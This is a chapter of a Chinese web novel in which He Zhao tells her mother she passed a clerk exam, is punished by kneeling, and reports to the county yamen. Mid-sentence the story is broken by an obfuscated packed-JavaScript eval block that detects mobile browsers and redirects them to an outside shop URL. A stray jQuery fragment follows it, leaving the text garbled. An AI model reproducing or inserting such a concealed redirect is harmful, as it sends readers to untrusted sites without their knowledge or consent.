“娘,我们先进去说!”
说着,何昭便推着李氏进去,等到两人进屋后。
李氏又盯着何昭,双眉轻轻皱起,狐疑地看向何昭。
何昭却不再掩饰自己的喜悦之情,脸上露出大大的笑容,一下子拉着李氏坐到床边才笑着说道。
“真的,娘亲,我今天见到新任县太爷了。”
“新任县太爷?”
“他说他会给里正交代一声,把我们母子俩的户籍给加上。”
“娘,你不用担心了,我们母子俩以后都可以正大光明地上街了!”
何昭兴奋得无可复加,罕见地如同钢珠炮弹一般,咻咻咻地便把肚子里藏了一天的话都给射了出来。
她激动地看向李氏,却发现李氏面色平静,只是嘴巴微微动了动,却什么也没有说出声,好像根本没有听到何昭所说的内容。
何昭顿时哑然,随即眨了眨眼睛,有些试探性地唤了一声娘,却见李氏的目光直直落在屋子的一角,失魂落魄一般。
何昭如同一个气球被扎破了一般,一腔喜悦之情全都散去。
她抿了抿唇,最后选择只安安静静地靠在李氏的肩头上。
又过了良久,李氏又微微张了张口,声音说话都有些断断续续。
“昭儿,你说的,是真的吗?”
何昭看着李氏这般小心翼翼的样子,好像说话的声音大一点,便会把这件好事给吓跑一般。
她立马一把抱住李氏,眼眶不由得涌上酸涩,语气有些哽咽道。
“娘,别担心,从明天起,我们就能堂堂正正地做人了!”
何昭话音刚落,李氏便痛哭出声,珍珠大的眼泪连珠似的落了下来,瞬间就打湿了何昭的衣服。
“昭儿,昭儿……”
李氏一边哭得稀里哗啦,一边喃喃地喊着何昭小名。
何昭也不再开口,只紧紧地抱着李氏,又过了好久,李氏的情绪终于宣泄完,双眼哭得红肿,嗓子也已经哑得说不出话来。
等到一炷香后。
何昭松开了抱着李氏的手,指了指李氏的嗓子。
李氏欣慰地笑了笑,眼中依旧湿润,却没事般地摇了摇头。
天色已经完全漆黑,有些许隔壁邻居家点起灯光来。
这零星的昏黄灯光恰好打在靠在窗棂处的李氏,使得李氏的周身都仿佛散发着光一般,使得李氏更加的温婉秀美。
何昭不自觉地嘴角上扬,只觉得此刻是她自穿越以来最开心的一天。
然而,何昭嘴角还在上扬,却看到对面的李氏却好似是想起来什么一样。
她的双眉瞬间挑起,视线直直地对了过来,周身温婉的气质不再,仿佛要吃人的饿虎一般。
何昭瞬间头皮发麻,明白暴风雨来了。
果然,下一刻,李氏的质问就如同狂风暴雨一般倾盆而下,声音一句高过一句。
“何昭,你说!”
“你为什么能见到新任县太爷!”
“你只是一个街边摆摊的,县太爷又为什么会承诺帮你!”
“你今天又为什么回来得这么晚!”
“还有,何昭,你到底记不记得,你还是个未出阁的女子!”
说到最后一句时,李氏像是怕什么一般,先是左右看了一圈,这才靠近何昭,咬牙切齿地低声说道。
何昭闻言沉默了一瞬,接着便后退几步,双手紧紧握拳,直接朝李氏跪下。
李氏不可置信地看着这幕瞪大了双眼,然而,她却没说什么,只牢牢地看向低垂着头、双膝跪地的何昭。
何昭缓慢地抬头,与李氏对视。
她看见李氏的眼睛里,先是闪过一抹震惊,随即又被浓浓的失望淹没。
那双眼刚才还在流泪,此刻却仿佛已经干得发涩,只是木愣愣地看着何昭,眼神里却没有任何色彩。
何昭不由得握拳更紧,导致掌心处传来一阵阵的刺痛。
她闭了闭眼,随即直视李氏的眼睛,一字一句道。
“娘,我今天去参加了吏考!”
“我通过了,得到了新任县太爷的赏识。”
“我明天就要去衙门上值!”
说罢,何昭紧紧地盯着李氏,猜测李氏的下一步反应,好做心里准备。
然而,李氏却只是迟钝地点点头,随即便垂下头,默默无言。
何昭原本还有些淡定,此刻心里却慌得有一把火在烧一般。
她歪着头却发现无论如何也看不清李氏的面色。
何昭的心里更慌,她试探性地开口喊一声,“娘。”
这声音并不大,但在这仿佛能吓死人的死寂中,却使得整个房间都活了过来一般。
仿佛是被这熟悉的声音给唤醒。
何昭便看到李氏抬起头,只看了她一眼,便又将目光落到窗棂某处。
出乎意料的是,李氏并没有像何昭想象的那般止不住地哭泣或者默默哽咽。
她的神色冷静,嘴角抿成一条直线,看不出喜悲。
何昭却彻底松了一口气。
她这才发觉自己一直憋着气,此刻猛地松下来,胸腔里一阵阵发紧。
随即,何昭便听到从头顶传来李氏淡淡的一句。
“继续跪着!”
然而,就听到李氏推开门,走了出去的声音。
何昭顿了顿,什么都没说,只是安静地、继续地跪着。
漆黑的凌晨,被一声鸡叫打破了安静。
何昭只觉得整个脑子都迷迷糊糊的,双眼像是被粘住了一般,实在是张不开。
然而,想到昨天刚进县衙时,许先生带他们到院子,随口说的一些县衙规则。
其中便有衙役众人要在卯时正前赶到县衙院子点名签到。
想到这里,何昭只能狠下心来,用手在大腿狠狠地一揪。
“啊!”
何昭忍不住惨叫一声,在剧烈的痛意刺激下,这才猛地睁开眼,彻底醒了过来。
看着熟悉的莲花帷幔,何昭有一瞬间的晃神。
昨晚上李氏不是一直让她罚跪吗?
她为了不惹李氏的生气,同时也为了坚定自己的决心,所以便一直跪着。
只是跪着跪着,她便实在困乏得不行。
记忆里好像自己就这么迷迷糊糊地跪着睡着了。
可是,她现在醒了,怎么在自己的床上?
想到这里,何昭的目光一颤,一股喜悦之情涌上心头。
随即,她视线向屋里唯一桌椅,那上面果然放了一碗白粥,一个胡饼。
何昭忍不住抿嘴一笑,便立即翻身下床,来到桌前。
快速地吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940771|213911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
完,再加速地穿戴好后。
何昭打开房门,来到李氏房门前,见屋内的灯火一下子灭了,不由得又是一笑。
她轻声说了一句去县衙上值后便直接离开了。
此时,天空已经慢慢变亮,走在小巷里,何昭能隐隐约约地嗅到外面正街上传来炊饼味。
不多时,何昭来到正街上,果然炊饼店的李二夫妇正在准备一个个的炊饼。
摊子前已经站了两个食客在等待。
李二揉面时看到穿戴整齐的何昭不由得一愣,随即便立即笑开了花。
“咦,何小郎君今日怎么起得怎么早?”
“要不要来吃个炊饼,才刚出锅,都还热着呢!”
“不了,不了!”
何昭见着十分热情的李二,不由得也回以一笑。
“我已经吃过了,我赶着去上值,便不和你们多说了!”
说罢,便快速朝着县衙所在的方向赶去。
李二却愣在原地,不知所措地摆了摆手,还是李二媳妇看不得李二这副傻样子,便把听来的传言告诉李二。
“听说昨日何小郎君参加了吏考,成功考中了,据说,还得到县太爷的赏识呢!”
“我看何小郎君是要一飞冲天了!”
“是呀,是呀,我也听我朋友说了,昨天吏考就何小郎君答得最为出色呢!”
却是那两个等待的食客之一开口。
何昭其实已经走出好几步了,但身后仍旧隐约传来李二媳妇的笑声和几句含含糊糊的吏考议论。
她脚步没停,嘴角却忍不住弯了一下,心中感叹她和李氏终于不再如浮萍一般,随处漂泊了。
想到此处,何昭心里生出一股干劲。
既然已经有了出路,那么她一定要努力抓到更多的机会,一定带李氏过上好日子。
绕过前面的一个路口,何昭很快便到了县衙门口,旁边的侧门已经打开。
何昭赶紧上前一步,跟着丫鬟的带领下,来到昨日他们吏考的院子。
此刻已经接近卯时正,基本上要点卯的县衙众人都汇聚在了此处。
何昭站着角落处左右看了看,便发现昨日吏考的众人中。
除了她,便只有另外两个被留了下来。
何昭打量两人,见这两人都是四十岁上下的年纪,留着一把山羊似的胡须。
其中一个长相略儒雅一些,看着便很有气质。
而另一个则长相崎岖了些,再加之神态倨傲,一看便是那种把葱插在鼻子上的人——只看天不看地。
何昭想了想,见县衙众人都有意识地分类站在一起,而且,不知为何王勇也不在其中。
于是,她便从角落处出来,径直走两步,便来到这两个人的面前。
何昭对着两人先是行了一礼,这才笑着开口道。
“小子何昭,见过两位先生!”
那位气质儒雅的中年人也笑着开口道。
“先生不敢当,在下姓周,单字一个文。”
“何小郎君可称呼我为周叔!”
“好,周叔!”
何昭眼前一亮,便顺势喊了一声周叔,却听得旁边响起一道冷哼。
“真是笑话,明明年龄相差都已经是爷孙辈了,竟然还能腆着脸喊叔!”
“真是世风日下!”